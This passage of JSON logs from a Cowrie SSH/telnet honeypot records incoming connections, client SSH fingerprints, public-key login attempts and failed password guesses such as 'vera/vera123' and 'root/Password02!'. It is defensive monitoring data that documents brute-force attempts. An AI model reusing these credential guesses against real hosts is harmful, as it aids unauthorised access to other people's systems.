c-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:16.161035Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera","message":"login attempt [vera/vera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:16.563779Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:16.947649Z","src_ip":"103.27.238.120","session":"76575e003629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera1","message":"login attempt [vera/vera1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:17.648969Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.100","src_port":57278,"dst_ip":"10.17.0.5","dst_port":23,"session":"5908dde1da4f","protocol":"telnet","message":"New connection: 185.207.250.100:57278 (10.17.0.5:23) [session: 5908dde1da4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:18.249495Z"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera123","message":"login attempt [vera/vera123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:18.733271Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera1234","message":"login attempt [vera/vera1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:19.818656Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vera","password":"vera12345","message":"login attempt [vera/vera12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:20.921040Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:22.006229Z","src_ip":"213.209.159.56","session":"5bc179be9bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46300,"dst_ip":"10.17.0.5","dst_port":22,"session":"a48535427c0b","protocol":"ssh","message":"New connection: 109.172.54.111:46300 (10.17.0.5:22) [session: a48535427c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:27.606809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:27.615343Z","src_ip":"109.172.54.111","session":"a48535427c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:27.708262Z","src_ip":"109.172.54.111","session":"a48535427c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfhdfhf","message":"login attempt [root/dfhdfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:28.110409Z","src_ip":"109.172.54.111","session":"a48535427c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:29.212705Z","src_ip":"109.172.54.111","session":"a48535427c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.62.79","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"e831286a1b90","protocol":"ssh","message":"New connection: 91.219.62.79:42998 (10.17.0.5:22) [session: e831286a1b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:31.938287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:31.944927Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.022062Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:86:92:de:4d:2d:23:01:e2:7a:07:ea:c2:1c:e9:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtyiMbpwHNYAo6o0w3ZQtkseUoSW94SLA2XcqJhAd8itk9eHlAMn75Ez/WmG7ddMVmvr342ZNS5HBdwtC1Nq0hRjOd0P67njuRgcIm9CDaDed3P9fas2Eb+QY4Mqt1YbLsh7eCcIxixgMaV9cL+tqfV6eJ7GWSydBJq2GjcktGhR+kp4h6qBOdolB7sxYGmTGhZ+STbsD9/VriO6CEULGBKvWmDaFSNYNR59Pp9WxymekdB1Z6pTQ4/r9hgXjXCqzAfdApDE4fuepDpOtSXuKNoV0giAGYiX+DxeNI86H+fFw4dU7ePeL9s9CujD2iTAASGElRo0s3odOHY4yPbw8n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:86:92:de:4d:2d:23:01:e2:7a:07:ea:c2:1c:e9:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.417615Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:86:92:de:4d:2d:23:01:e2:7a:07:ea:c2:1c:e9:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtyiMbpwHNYAo6o0w3ZQtkseUoSW94SLA2XcqJhAd8itk9eHlAMn75Ez/WmG7ddMVmvr342ZNS5HBdwtC1Nq0hRjOd0P67njuRgcIm9CDaDed3P9fas2Eb+QY4Mqt1YbLsh7eCcIxixgMaV9cL+tqfV6eJ7GWSydBJq2GjcktGhR+kp4h6qBOdolB7sxYGmTGhZ+STbsD9/VriO6CEULGBKvWmDaFSNYNR59Pp9WxymekdB1Z6pTQ4/r9hgXjXCqzAfdApDE4fuepDpOtSXuKNoV0giAGYiX+DxeNI86H+fFw4dU7ePeL9s9CujD2iTAASGElRo0s3odOHY4yPbw8n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.420428Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:11:67:e9:58:51:f1:88:f2:45:76:6e:f8:19:0e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/YqVY0XmhWVm/R+d3jSxUg4yeFawIG1i8Uz/sKc8otvON1bxDVtr5iQJNzj7Zx1zRhOSiVlhHWB5nfj41pGpQm1F98pu2CvlR4q0EVZZdv271kuycLjcYOVdhnrLE7glNXJAfI1ZVhotbfcahWy+E3uNzJj4UO9QmTN77X0Bnk+iu1Ns4y3HuVZ3npa76aR2abR00yVyEEW554ene1z3IW0Jbrj5lz3jpxExNj+L+ahxBNJgH+IXjF4DOw7AD3vkyajHDRUldXXLFCblzMXXrJDd4h7DM0NCuQqv05wjbnnmodlGytPVUdBo6Vt9hj1PcQzoGVvgzXarWJoP6/6gh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:11:67:e9:58:51:f1:88:f2:45:76:6e:f8:19:0e:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.502187Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:11:67:e9:58:51:f1:88:f2:45:76:6e:f8:19:0e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/YqVY0XmhWVm/R+d3jSxUg4yeFawIG1i8Uz/sKc8otvON1bxDVtr5iQJNzj7Zx1zRhOSiVlhHWB5nfj41pGpQm1F98pu2CvlR4q0EVZZdv271kuycLjcYOVdhnrLE7glNXJAfI1ZVhotbfcahWy+E3uNzJj4UO9QmTN77X0Bnk+iu1Ns4y3HuVZ3npa76aR2abR00yVyEEW554ene1z3IW0Jbrj5lz3jpxExNj+L+ahxBNJgH+IXjF4DOw7AD3vkyajHDRUldXXLFCblzMXXrJDd4h7DM0NCuQqv05wjbnnmodlGytPVUdBo6Vt9hj1PcQzoGVvgzXarWJoP6/6gh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.508718Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:31:9e:fa:b6:02:ee:06:02:5f:bf:11:c1:f6:6b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4HfUfwTfMQwZG0dWqISx4g4ADO4NDmjHCrgrFmKfc0mnHqPRnG92OstBh69NC3maD8iDqJwl/vVTCVZY5Pk+0Hz1mdEojPR2MWoT+WfkLLgjPXnDvQ2W1eQFinSjm6VpgvIMaxEyyVBhnI17vtMulCO8ewB+zWe9PzQQ2lFxkWlDcQkSnTVW84Z7met4/42aOxespUhRmhKsHyMQNdsiKuqe8b8QGRECA8VForfxYYwi5mu24sg5biOLlI2gL5zDI/ypnx0CA/6xuRCyYcMHfk46WDtFWpLVFRm/GlYEPwfVyZUFM5t1F+DtUimFIudb7SeJWc5kuKhpEc+nC3jxiiFFe84yPpE3nejwMXaldt+J+IabRmPsY+FM6N4vKtW7ubp//5Fvh83u3oVKXVD6e5XyIzYbyEx2iJ2gIlFSpfwDkIkB/Uij/O35NoN4dt3F1JU6YZsCBM4Xmxfg7Oc5ZI3ZSMCD7mPfB6vk9rL/WJwsbCce1tQD3493cUD7siKXUd9R3DJimf8g/SG+wbeTTVvmsl0CphBBqxjAuyD5gSowrRnPPQsbFEopoBV5M1IQmEl2naNSiXGj7GzfodkdrueR9UELjNzHtO2IeW7woYUd9+XUmj4I4GumSzjCk0noyyRBGxJahnyedOM70tsJrNw1O7FjGjJDjsMImp7lJvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:31:9e:fa:b6:02:ee:06:02:5f:bf:11:c1:f6:6b:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.591456Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:31:9e:fa:b6:02:ee:06:02:5f:bf:11:c1:f6:6b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4HfUfwTfMQwZG0dWqISx4g4ADO4NDmjHCrgrFmKfc0mnHqPRnG92OstBh69NC3maD8iDqJwl/vVTCVZY5Pk+0Hz1mdEojPR2MWoT+WfkLLgjPXnDvQ2W1eQFinSjm6VpgvIMaxEyyVBhnI17vtMulCO8ewB+zWe9PzQQ2lFxkWlDcQkSnTVW84Z7met4/42aOxespUhRmhKsHyMQNdsiKuqe8b8QGRECA8VForfxYYwi5mu24sg5biOLlI2gL5zDI/ypnx0CA/6xuRCyYcMHfk46WDtFWpLVFRm/GlYEPwfVyZUFM5t1F+DtUimFIudb7SeJWc5kuKhpEc+nC3jxiiFFe84yPpE3nejwMXaldt+J+IabRmPsY+FM6N4vKtW7ubp//5Fvh83u3oVKXVD6e5XyIzYbyEx2iJ2gIlFSpfwDkIkB/Uij/O35NoN4dt3F1JU6YZsCBM4Xmxfg7Oc5ZI3ZSMCD7mPfB6vk9rL/WJwsbCce1tQD3493cUD7siKXUd9R3DJimf8g/SG+wbeTTVvmsl0CphBBqxjAuyD5gSowrRnPPQsbFEopoBV5M1IQmEl2naNSiXGj7GzfodkdrueR9UELjNzHtO2IeW7woYUd9+XUmj4I4GumSzjCk0noyyRBGxJahnyedOM70tsJrNw1O7FjGjJDjsMImp7lJvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.593937Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:f9:d5:b3:59:d0:4d:2c:23:c1:c8:2c:23:90:12:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAZWF+/s4/O6HJyTXYRT3rxtPkecJuRm8YdcImeQqkt+K3D2dqVnOuaNTeEZYJkzHMyUz2edcSo2M+45ulDfrzVHO9UXR7owAwqXNrF+wpA1p41+c2xnaYIIwX7ZSio7eUGPYv96iaZst6Eap6h8JUSs7VwheLtZgBs/V7PDFg4K5X736EaKv0Y0aae5e7nxKxUJ5OwNoCIZavElDqI5hn6yzuPsH8gbnlxSGkeMQ+oKGz76bnAV1Rcv/vjA8h7KjqvLw78gmxapTkxuOYzbKkPZh5w/+Ye3mk5alSIx4t+Sz430F02gawlaTcseNzzdaFmA/EnplQ36nn1F7vwHT71AJhhKXWrDzF3NLCr3onzBCnlwIrIayAb3yrfxhSN35TWVu+AuOrCvoLcIBrzD8R4VtO3rLxZtDr5nsiUaAeAaAnlzZk7vqLN+qv1gXNTn2bGHqjqJxfZRIm6ByCg6OtYRpIi8WNllVvnfkCWmT7zo6ISSJtKYIKaa+j8/bk/9s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:f9:d5:b3:59:d0:4d:2c:23:c1:c8:2c:23:90:12:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.675576Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:f9:d5:b3:59:d0:4d:2c:23:c1:c8:2c:23:90:12:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAZWF+/s4/O6HJyTXYRT3rxtPkecJuRm8YdcImeQqkt+K3D2dqVnOuaNTeEZYJkzHMyUz2edcSo2M+45ulDfrzVHO9UXR7owAwqXNrF+wpA1p41+c2xnaYIIwX7ZSio7eUGPYv96iaZst6Eap6h8JUSs7VwheLtZgBs/V7PDFg4K5X736EaKv0Y0aae5e7nxKxUJ5OwNoCIZavElDqI5hn6yzuPsH8gbnlxSGkeMQ+oKGz76bnAV1Rcv/vjA8h7KjqvLw78gmxapTkxuOYzbKkPZh5w/+Ye3mk5alSIx4t+Sz430F02gawlaTcseNzzdaFmA/EnplQ36nn1F7vwHT71AJhhKXWrDzF3NLCr3onzBCnlwIrIayAb3yrfxhSN35TWVu+AuOrCvoLcIBrzD8R4VtO3rLxZtDr5nsiUaAeAaAnlzZk7vqLN+qv1gXNTn2bGHqjqJxfZRIm6ByCg6OtYRpIi8WNllVvnfkCWmT7zo6ISSJtKYIKaa+j8/bk/9s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.679165Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:b4:57:62:ab:ba:e5:1d:85:68:9e:6b:ed:fb:94:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBy+k9U8/DXXEpM2teYz29SlDM49XviSCkt5mHCkHxYDaWKMpbfY6ZyiYBtVGMf2OzldVAkJszIK6toXW0jQB5+8zGSzjBYgRlJLRb2I/JVZz+QwbFj0+NSht3+ieJQ2RoJmsFEv61M/M4FBvbvwqS+BH7hORYg3+czNDmxTho9E/NW3f+oBnUdAdglks2nXNVLxik5cfVEYdrXKZvwnWTNWkubr/a743b6yVOajL1ZSjB7WI61l9EJCU4miEMf/TxMWJ5ymrCbj15XnMaeljmIio1SuRJRW8b+FunFwmHiqwUlTHVDppkugCSlwuL/iqnx3OsAJOydL3B1PUNuESr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:b4:57:62:ab:ba:e5:1d:85:68:9e:6b:ed:fb:94:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.762263Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:b4:57:62:ab:ba:e5:1d:85:68:9e:6b:ed:fb:94:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBy+k9U8/DXXEpM2teYz29SlDM49XviSCkt5mHCkHxYDaWKMpbfY6ZyiYBtVGMf2OzldVAkJszIK6toXW0jQB5+8zGSzjBYgRlJLRb2I/JVZz+QwbFj0+NSht3+ieJQ2RoJmsFEv61M/M4FBvbvwqS+BH7hORYg3+czNDmxTho9E/NW3f+oBnUdAdglks2nXNVLxik5cfVEYdrXKZvwnWTNWkubr/a743b6yVOajL1ZSjB7WI61l9EJCU4miEMf/TxMWJ5ymrCbj15XnMaeljmIio1SuRJRW8b+FunFwmHiqwUlTHVDppkugCSlwuL/iqnx3OsAJOydL3B1PUNuESr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.765021Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:32.848202Z","src_ip":"91.219.62.79","session":"e831286a1b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":56964,"dst_ip":"159.203.135.109","dst_port":22,"session":"4381ca7a5814","protocol":"ssh","message":"New connection: 69.6.234.27:56964 (159.203.135.109:22) [session: 4381ca7a5814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:42.560455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:42.565104Z","src_ip":"69.6.234.27","session":"4381ca7a5814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:42.640795Z","src_ip":"69.6.234.27","session":"4381ca7a5814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password02!","message":"login attempt [root/Password02!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:42.966233Z","src_ip":"69.6.234.27","session":"4381ca7a5814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:44.041567Z","src_ip":"69.6.234.27","session":"4381ca7a5814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01506853103638,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:58.516325Z","src_ip":"141.149.226.228","session":"eb0b01ecf60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.149.226.228","src_port":45238,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a456e7418f","protocol":"telnet","message":"New connection: 141.149.226.228:45238 (10.17.0.5:23) [session: 68a456e7418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:43:59.064367Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53190,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaf0d2676e82","protocol":"ssh","message":"New connection: 77.94.47.83:53190 (159.203.135.109:22) [session: aaf0d2676e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:04.766755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:44:04.771949Z","src_ip":"77.94.47.83","session":"aaf0d2676e82","protocol":"ssh"}
